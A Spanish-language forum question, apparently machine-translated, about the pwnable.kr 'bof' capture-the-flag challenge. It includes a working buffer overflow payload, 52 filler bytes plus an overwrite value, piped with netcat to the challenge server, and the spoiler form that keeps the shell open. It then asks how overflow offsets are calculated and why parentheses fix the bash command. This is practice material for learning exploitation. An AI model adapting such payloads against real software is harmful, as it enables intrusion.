Este problema es "bof" tomado de enlace . Estaba jugando con diferentes cargas útiles, aumentando en 4 bytes de basura cada uno y buscando formas de evitar los aplastar canarios apilados.
Este es un ejemplo de carga útil que probé:
python -c 'print "A" * 52 + "\xbe\xba\xfe\xca"'; cat - | nc pwnable.kr
Después de unas horas, me di por vencido y busqué. La respuesta, SPOILERS :
(python -c 'print "A" * 52 + "\xbe\xba\xfe\xca"'; cat - )| nc pwnable.kr 9000
1) Aprendí de alguien que un desplazamiento para un desbordamiento de búfer se puede adivinar simplemente agregando 4 bytes a la longitud de la matriz de caracteres original hasta que se encuentre. ¿Cómo se calculan las compensaciones matemáticamente?
2) ¿Por qué agregar paréntesis hace que el comando bash funcione correctamente donde es casi idéntico al que probé?